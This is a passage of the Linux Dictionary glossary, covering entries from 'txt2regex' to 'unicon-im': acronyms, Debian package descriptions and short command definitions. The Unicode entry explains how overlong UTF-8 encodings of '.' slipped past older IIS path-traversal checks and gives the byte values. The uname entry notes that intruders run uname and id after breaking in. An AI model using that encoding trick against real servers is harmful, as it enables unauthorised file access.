A Regular Expression "wizard", all written with bash2 builtins ^txt2regex$ is a Regular Expression "wizard", all written with bash2 builtins, that converts human sentences to RegExs. With a simple interface, you just answer to questions and build your own RegEx for a large variety of programs, like awk, emacs, grep, perl, php, procmail, python, sed and vim. There are more than 20 supported programs. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TXTRR

TXT Resource Record (DNS, RFC 1035), "TXT−RR" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Tynux

PalmPalm Technology is a Korean based company. They put Tynux into the Zaurus PDA and other appliances. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

type1inst

Install Adobe Type 1 fonts into X11 and Ghostscript type1inst is a small perl script which generates the "fonts.scale" file required by an X11 server to use any Type 1 PostScript fonts which exist in a particular directory. It gathers this information from the font files themselves, a task which previously was done by hand. The script is also capable of generating the similar "Fontmap" file used by ghostscript. It can also generate sample sheets for the fonts. The xutils package contains a utility called makepsres, which creates output in a different format but which may nevertheless be more useful. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

typespeed

Zap words flying across the screen by typing them correctly This program will display words flying across the screen from left to right. Zap the words by typing them in. If they reach the right side of the screen, they disappear and you get no credit for them. Miss too many words and the game is over. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tyvis1

UC's VHDL Simulation Runtime Libraries − shared library only This package contains the University of Cincinnati's VHDL runtime libraries. These libraries are required to run VHDL simulations compiled with the SAVANT analyzer. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TZ

Time Zone (Internet, TZ) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tzcoord.pl

script that prints coordinates of a named timezone From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tzselect

select a time zone From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tzselect

view timezones From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tzsetup

set the local timezone From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tzwatch

Displays time and date in specified time zones on console This shell script displays the time and date of time zones specified by the user. The time zones may be entered by hand in TZ format or chosen from a list prepared from /usr/share/zoneinfo/zone.tab. The zone list is kept in a format consistent with the GTK+ application gworldclock. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

U

UA
: Unnumbered Acknowledgement From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UA
: User Agent (MHS, OSI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UAAG
: User Agent Accessibility Guidelines (WAI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UAB
: Unix Appletalk Bridge (Apple, AppleTalk, Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UAC
: Universal Access Control (IBM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UADPS
: Uniform Automatic Data Processing System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UADSL
: Universal Asymmetric Digital Subscriber Line (DSL, ADSL) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uae
: The Ubiquitous Amiga Emulator: Base UAE is a 100% software Amiga (500) hardware emulator. This is the base package including all support files and the most common binary of UAE for X. NOTE: For "proper" use of UAE, you need some version of the Kickstart ROM, and some OS running on top of this (most likely some version of the Amiga OS). Both don't comply to the DFSG (to say the least) and must be obtained from other sources. There is information in the package docs how to obtain these if you are owner of an Amiga box. However, there is a minimal free build−in Kickstart replacement, and at least some demo disks are reported to run with it. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UAE
: Unknown / Unrecoverable Application Error (Windows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uae−exotic
: The Ubiquitous Amiga Emulator: Exotic binaries UAE is a 100% software Amiga (500) hardware emulator. This package contains binaries of UAE with "exotic" display modes. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uae−suid
: The Ubiquitous Amiga Emulator: Suid root binaries UAE is a 100% software Amiga (500) hardware emulator. This package contains binaries of UAE with display modes that require root privileges (i.e. SVGA and X−DGA versions). These binaries are often considered to be a little bit faster, however this very much depends on your hardware. I (and the upstream authors) DON'T RECOMMEND INSTALLING THESE BINARIES (for the usual security problems) unless you have good reasons for it. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UAF
: User Authorization File From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UAPDU
: User Agent Protocol Data Unit (PDU) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UART

UAWG
: Universal ADSL Working Group (Org, ADSL, DSL) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UBA
: UniBus Adapter (DEC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UBE
: Unsolicited Bulk Email (spam, Internet, UCE) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ubh
: Download and decode Usenet binaries UBH (Usenet Binary Harvester) is a Perl console application which automatically discovers, downloads, and decodes single− and multi−part Usenet binaries. UBH provides searching via Perl regular expression and a pre−selection capability whereby the user can interactively choose which binaries to download. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UBNI
: Ungermann−Bass Network Interface From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UBR
: Unspecified Bit Rate (ATM, CBR, VBR, ABR, QOS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UC
: Universal Code (Internet, DOMAIN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ucblogo
: a dialect of lisp using turtle graphics famous for teaching kids. This is the UC Berkeley implementation of logo written primarily by Daniel Van Blerkom, Brian Harvey, Michael Katz, and Douglas Orleans. This version of logo is featured in Brian Harvey's book _Computer_Science_Logo_Style, _Volume_1: _Symbolic_Computing_ (ISBN 0−262−58151−5). This version provides the following special features: − Random−access arrays. − Variable number of inputs to user−defined procedures. − Mutators for list structure (dangerous). − Pause on error, and other improvements to error handling. − Comments and continuation lines; formatting is preserved when procedure definitions are saved or edited. − Terrapin−style tokenization (e.g., [2+3] is a list with one member) but LCSI−style syntax (no special forms except TO). The best of both worlds. − First−class instruction and expression templates. − Macros. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UCC
: Uniform Commercial Code From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UCE
: Unsolicited Commercial E−mail (Usenet, spam, UBE) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ucf
: Update Configuration File − preserve user changes in config files Debian policy states that configuration files must preserve user changes during package upgrade. The easy way to achieve this behavior is to make the configuration file a `conffile', in which case dpkg handles the file specially during upgrades, prompting the user as needed. This is appropriate only if it is possible to distribute a

default version that will work for most installations, although some system administrators may choose to modify it. This implies that the default version will be part of the package distribution, and must not be modified by the maintainer scripts during installation (or at any other time). This script attempts to provide conffile like handling for files that can not be labelled conffiles, are not shipped in a Debian package, but handled by the postinst instead. This script allows one to maintain files in /etc, preserving user changes and in general offering the same facilities while upgrading that dpkg normally provides for "conffiles". Additionally, this script provides facilities for transitioning a file that had not been provided conffile like protection to come under this schema, and attempts to minimize questions asked at install time. Indeed, the transitioning facility is better than the one offered by dpkg while transitioning a file from a non−conffile to conffile status. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UCI
User−Computer Interface From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UCLA
University of California at Los Angeles (org., USA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UCLAVM
UCLA Virtual Machine (OS, UCLA, VM), "UCLA VM" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uclibc−toolchain
A compiler wrapper for uClibc This package includes utilities that function as a toolchain for compiling with uClibc instead of the native libc. The utilities have names such as powerpc−uclibc−gcc (depending on the architecture), and should behave identically to the base utilities, except that they use headers and libraries provided in the libuclibc−dev package. Most utilities are symbolic links to the correct underlying utility, although gcc and ld are implemented as wrapper binaries that call gcc and ld with the necessary arguments and command line options. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uClibcLinux
uClibcLinux is a Linux distribution based on uClibc. This source−based distribution has two main goals: − provide an easily extensible build−system − provide a repository of software compiling and running with uClibc. Initial version 0.4.5 was released June, 25, 2002. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uClinux
The Linux/Microcontroller project is a port of Linux to systems without a Memory Management Unit (MMU). Pronounced "you−see−linux", the name uClinux comes from combining the greek letter "mu" and the english capital "C". "Mu" stands for "micro", and the "C" is for "controller". uClinux was first ported to the Motorola MC68328: DragonBall Integrated Microprocessor. The first target system to successfully boot is the 3Com PalmPilot using a TRG SuperPilot Board with a custom boot−loader created specifically for our Linux/PalmPilot port. Version 20020701 was initially released on Freshmeat on July 16, 2002. Version 2.4.20−uc0 was released December 4, 2002. Version 2.5.69−uc0 was released May 5, 2003. Version 20030522 was released May 24, 2003. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UCP
Universal Computer Protocol (SMS, Europe) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UCR
Under Color Removal (DTP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UCS
Universal Classification System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UCS

Universal [multiple−octet] coded Character Set (ISO, IEC, DIS 10646, Unicode) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ucs2any

generate BDF fonts containing subsets of ISO 10646−1 codepoints From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UCSB

University of California at Santa Barbara (org. USA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UCSD

University California San Diego (org., USA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ucspi−proxy

Connection proxy for UCSPI tools This package contains a proxy program that passes data back and forth between two connections set up by a UCSPI server and a UCSPI client. See http://cr.yp.to/proto/ucspi.txt for more information on UCSPI. See http://em.ca/~bruceg/ucspi−proxy/ for recent informations. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ucspi−unix

UNIX−domain socket client−server command−line tools unixclient and unixserver are command−line tools for building UNIX domain client−server applications. unixclient connects to a UNIX domain socket and runs a program of your choice. unixserver creates a UNIX domain socket, waits for incoming connections and, for each connection, runs a program of your choice. unixclient and unixserver conform to UCSPI, the UNIX Client−Server Program Interface, using UNIX domain sockets. UCSPI tools are available for several different networks. See http://cr.yp.to/proto/ucspi.txt for more information on UCSPI. See http://em.ca/~bruceg/ucspi−unix/ for recent informations. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ud

Uptime Daemon UD runs in the background constantly checking the current uptime against your 3 best uptime records. If the current uptime surpasses a record, that becomes the new record. By using a template UD can create HTML files that shows the current uptime records. The HTML files are updated by the daemon. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UDB

Universal DataBase [server] (IBM, DB) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UDC

Universal Decimal Classification From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UDDI

Universal Description, Discovery and Integration of business for the web (org., WWW) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ude

The Unix Desktop Environment UDE is more then just another windows manager. Designed to compensate for the shortcomings of many other similar packages, UDE features many innovative improvements. The project does not use any special GUI−Libraries such as Qt or GTK+ and is based on the standard Xlibs (also to make UDE faster) UDE − get used to it. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UDF

Universal Disc Format (CD, OSTA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UDF
: User Defined Function From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

udftools
: Tools for UDF filesystems and DVD/CD−R(W) drives This package contains a number of user−space tools related to creating filesystems in the UDF (Universal Disk Format), which is primarily used for DVDs, but sometimes also CD−ROMs: mkudffs − Format a device, creating an empty UDF filesystem cdrwtool − Low−level drive management (e.g. set writing speed, format) pktsetup − Set up a packet writing device (/dev/pktcdvd0) for a drive Note that you need Linux 2.4 or later to mount UDF filesystems. The kernel patches that accompany these tools are not currently packaged for Debian, but are being merged into the 2.4 kernel tree. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

udhcpc
: very small DHCP client This is the very small DHCP client written by Moreton Bay/Lineo. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

udhcpd
: very small DHCP server This is the very small DHCP server written by Moreton Bay/Lineo. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UDK
: UmweltDatenKatalog (NUIS−SH) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UDLI
: ??? [hardware description language] (HDL), "UDL/I" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UDMA
: Ultra Direct Memory Access (DMA, ATA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UDMA
: Ultra−DMA − an advanced technology which provides for even faster throughput, up to 33.3 MB/s in UDMA mode 2 and 66.7 MB/s in UDMA mode 4, twice to four times that of EIDE, for much lower prices than SCSI. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UDO
: User Defined Objects From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UDP
: see User Datagram Protocol (UDP). From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UDP
: User Datagram Protocol (Internet, RFC 768) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UDP
: User Datagram Protocol − a simple connectionless TCP service. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UDP (User Datagram Protocol)
: One of the protocols for data transfer that is part of the TCP/IP suite of protocols. UDP is a "stateless" protocol in that UDP makes no provision for acknowledgement of packets received. See also: Packet Switching, TCP/IP. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UDP (User Datagram Protocol)
: UDP is a transport protocol that provides "datagram" services on top of IP. Contrast: There are two transport protocols: UDP and TCP. Both of these are responsible for hooking up the programs that are communicating with each other, whereas the underlying IP is simply responsible for getting the packets from machine to machine across the Internet. UDP is essentially just a light−weight version

of TCP. Whereas TCP will automatically retransmit lost packets, UDP doesn't care. This is actually a benefit for audio/visual, but a severe disadvantage when transferring files. UDP Format: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +−+ | Source Port | Destination Port | +−+ | Length | Checksum | +−+ There is nothing to exciting about UDP. The source port identifies the application on the sending machine. The destination port identifies who is to receive the data. The length indicates how much data is in the packet; the checksum verifies that it has not been accidentally altered in transit (though it cannot protect against deliberate alteration). From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UDPIP
User Datagram Protocol / Internet Protocol, "UDP/IP" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UDRP
Uniform [DOMAIN name] Dispute Resolution Policy (ICANN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Universal Data Voice Multiplexer From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UEIDE
Ultra Enhanced Integrated Drive Electronics (IDE, HDD) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UEV
User End of Volume From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UFS
Universal File System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UFS
Unix File System (Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UFST
Universal Font Scaling Technology (Agfa) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ugidd
NFS UID mapping daemon. This package contains the UID mapping daemon (rpc.ugidd) which is used on NFS clients to do UID/GID mapping. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UHA
Ultra High Aperture [ratio] (LCD, TNLCD) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UHC
United Hitech Corporation (manufacturer, Taiwan) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UHCI

Universal Host Controller Interface (USB, Intel, VIA, OHCI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UHF

Ultra High Frequency From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UHL

User Head Label From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UHU−Linux

UHU−Linux is a Linux distribution from Hungary. It is an easily installable, dpkg−based distribution, with fully automatic hardware detection (based partly on Mandrake and other distros). It is primarily aimed at beginners. Version 1.0 was released April 18, 2003. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UI

Unix International (manufacturer, Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UI

User Interface From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ui−properties

allows you to change certain Gnome user interface. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uic

Qt ui compiler This package contains the Qt ui compiler. It is needed to build more and more Qt based applications. There are 2 versions of this binary, one with KDE widget support and one without. This one is compiled without. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UIC

User Identification Code From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UID

Expands to the user ID of the current user, initialized at shell startup. From Rute−Users−Guide http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UID

see user identification (UID). From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UID

the User ID number of the user that owns this process. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UID

Unit IDentifier (cryptography, EES) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UID

User IDentification From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UIDL

Unique ID Listing (POP3, RFC 1939) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UIL

User Interface Language From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UIMS

User Interface Management System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UIN

Universal Identification Number (ICQ) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UIS

UmweltInformationsSystem From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uisp

Micro In−System Programmer for Atmel's AVR MCUs This utility is required to program AVR chips with object code created by the ava assembler/linker. It supports in−system programming, Atmel's prototype board/programmer, and an extremely low−cost parallel port programmer. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UISRM

User Interface System Reference Model From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UKERNA

United Kingdom Education and Research Networking Association (org., UK) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UKOLN

United Kingdom Office for Library and information Networking (org.) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ul

do underlining From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ULA

Uncommitted Logic Array From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ULANA

Unified Local Area Network Architecture From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ULCC

University of London Computer Center (org., UK) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ulogd

The Userspace Logging Daemon ulogd is a daemon that listens for Netlink packets generated by iptables's ULOG target. Basically, it's a replacement for syslog for logging packets, and does a much better job − it logs to files, mySQL, and soon will be able to log remotely. mySQL support is in a separate package, called ulogd−mysql. The relevant kernel support is included in a patch − kernel−patch−ulog. ulogd homepage: http://www.gnumonks.org/projects/ulogd From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ulogd−mysql

mySQL extension to ulogd This extension adds mySQL support to ulogd; please see ulogd's description. description. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ULP

Upper Layer Protocols (FC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ULS

User Location Interface From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ULSI

Ultra Large Scale Integration From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UltraLinux

UltraLinux is one of the first, if not the first, port of Linux to the SPARC family of processors most commonly found in Sun workstations and clones. It supports most workstations including the older 32bit SPARC processors and the newer 64bit UltraSPARC based workstations. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ultrapoint

A GGI based presentation tool UltraPoint is a simple, XML based presentation program designed to help aid with instant preparation. (This does not measn 'easy to use this program') As compared with most of the existing tools, UltraPoint requires no special adjustment cost (e.g. positions of objects). −− Features . Drawing with GGI (General Graphics Interface) . Accessing a lot of font formats with VFlib 3.6. . Arranging scaled images with ImageMagick. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ULV

Ultra Low Voltage From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UMA

Unified Memory Architecture From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UMA

Universal Measurement Architecture (Unix, X/Open) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UMA

Upper Memory Area (Intel) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UMADS

Universal Measurement Architecture Data Storage (UMA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UMB

Upper Memory Block (Intel, UMA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

umb−scheme

UMB Scheme is a public domain implementation of the Scheme programming language. Scheme is a statically scoped and properly tail−recursive dialect of the Lisp programming language, designed with clear and simple semantics and a minimal number of ways to form expressions. Install the umb−scheme package if you need an implementation of the Scheme programming language. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UMC

United Microelectronics Corporation (manufacturer) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UME

UNI Management Entity (UNI, ILMI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

umfpack3

Set of routines for solving unsymmetric sparse linear systems. UMFPACK is a set of routines for solving unsymmetric sparse linear systems, Ax=b, using the Unsymmetric MultiFrontal method. Written in ANSI/ISO C, with a Matlab (Version 6.0 and later) interface. The new code is faster than V2.2.1, uses dynamic memory allocation, and has a symbolic preordering and analysis phase that also reports the upper bounds on the nonzeros in L and U, flop count, and memory usage in the numeric phase. It includes a Matlab interface. V3.2 is for double−precision matrices only (not complex). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UML

Unified Method Language (CASE) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UML

Unified Modelling Language (OOP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uml−utilities

User−mode Linux (utility programs) User−mode Linux is a port of the Linux kernel to its own system call interface. It provides a kind of virtual machine, which runs Linux as a user process under another Linux kernel. This is useful for kernel development, sandboxing, jailing, experimentation, and many other things. This package contains userspace utilities for use with User−mode Linux, including uml_mconsole, uml_moo, uml_switch, uml_net and tunctl. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

umodpack

Installer and viewer for .umod−files (Unreal Mod files) UmodPack is a crossplatform tool for umod installation and unpacking. umod files are packages containing files with setup instructions for an Unreal mod (modification). For more information on Unreal mods in general see <http://www.planetunreal.com/modcentral/> From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

umount

unmount file systems From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UMS

Unified Messaging System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

umsdos

This is the distribution of the UMSDOS file system utilities. With the kernel configured accordingly these utilities allow the usage of of Unix filesystem feature on top of the MSDOS filesystem. It is even possible to run Linux completely on an MSDOS formatted disk without repartitioning or reformatting. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UMTS

Universal Mobile Telecommunications System (IN, mobile−systems) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UN*X

n. Used to refer to the Unix operating system (a trademark of AT&T, then of Novell, then of Univel, then of the Open Group; the source code parted company with it after Novell and was owned by SCO, which was acquired by Caldera) in writing, but avoiding the need for the ugly (TM) typography. Also used to refer to any or all varieties of Unixoid operating systems. Ironically, lawyers now say that the requirement for the trademark postfix has no legal force, but the asterisk usage is entrenched anyhow. It has been suggested that there may be a psychological connection to practice in certain religions (especially Judaism) in which the name of the deity is never written out in full, e.g., `YHWH' or `G−d' is used. See also glob and splat out. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UNA

Universal Network Architecture From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unaccent

Replace accented letters by their unaccented equivalent read data from stdin, replace accented letters by their unaccented equivalent and write the result on stdout. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uname

A UNIX command that returns a description of the current operating system. It describes the machine hardware type (e.g. Pentium), the name of the node on the network, which release of the OS, the OS name, specific CPU information, and the version of the OS. Key point: This is often the first command a hacker will run on the system when the hacker breaks in remotely. Hackers rarely known exactly what kind of system they have attacked. The other popular command hackers might execute is id. Example: Running uname −a on one of my systems results in: Linux gandalf.robertgraham.com 2.2.13−4mdk #1 Tue Sep 7 18:23:11 CEST 1999 i686 unknown From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uname

get name and information about current kernel From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uname
print system information From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UNARP
UNsolicited Address Resolution Protocol (ARP, RFC 1868) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UNC
Universal Naming Convention (IBM, MS, Novell, LAN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UNCID
UNiform rules of Conduct for Interchange of Trade data by teletransmission (EDIFACT) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UNCLE
Unix Net for Computer security in Law Enforcement (org., USA, Unix), "U.N.C.L.E." From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unclutter
hides the mouse in X after a period of inactivity unclutter is a program which runs permanently in the background of an X session. It checks on the X mouse pointer position every few seconds, and when it finds it has not moved (and no buttons are pressed on the mouse, and the cursor is not in the root window) it hides the mouse cursor. It restores the mouse cursor when the mouse is moved or when a mouse button is hit. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uncompress
compress or expand files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UNEDIFACT
United Nations EDIFACT (ISO 9735, EDIFACT), "UN/EDIFACT" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unexpand
convert spaces to tabs From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UNGTDI
United Nations Guidelines for Trade Data Interchange (UN/EDIFACT, predecessor), "UN/GTDI" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unhtml
Removing the markup tags from a HTML file This program removes all HTML tags from a HTML file and directs it's output to stdout. It can be used as a filter for getting the text content of a HTML file without the need of firing up a web browser. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UNI
Universal Network Interface (Cogent) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UNI
User Network Interface From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unicast
a type of communication between hosts (or computers) on a network where a host talks directly to another computer. See broadcast and multicast. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Unicode
The international character set. The United States characters ASCII only needs 7−bits to encode text. There are fewer than 100 characters in the English language (26−upper−case, 26−lower−case, 10−digits, and a bunch of punctuation). Since 7−bits has 128 combinations, it is sufficient to cover the

characerts plus a few control codes. However, there are other alphabets, such as Russian, Greek, and Hebrew. Even worse, far−eastern languages like Chinese, Japanese, and Korean use symbols/ideographs to represent words without a strict alphabet. The Unicode character set was built to represent all these characters within a 2−byte (16−bit) format. Roughly 30,000 characters from all the popular languages have been assigned in an internationally agreed upon format. Key point: Most computers are built to handle 1−byte characters, and do not like the idea of handling 2−bytes for each character. Therefore, a multi−byte character set has been designed to store Unicode. It is called "UTF8". It is the native character set for many newer systems, such as Java. Using "multibyte" rather than "fixed" character set means that a variable number of bytes can be used, depending upon how many bytes/bits are needed to represent the character. The key issue here is that every 7−bit ASCII character can be encoded in all forms. For example, older Microsoft IIS web−servers would check for backtracking attacks. However, a UTF8 encoding of the backtracks would bypass the IIS checks, but would still be passed to the filesystem. Encoding Bits Encoding of '.' 0xxxxxxx 7−bits 2E 110xxxxx 10xxxxxx 11−bits C0 AE 1110xxxx 10xxxxxx 10xxxxxx 15−bits E0 80 AE See also: encoding From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unicode_start
: put the console in Unicode mode. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unicode_stop
: put the console out of unicode mode (ie. in 8−bit mode). From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unicon−im
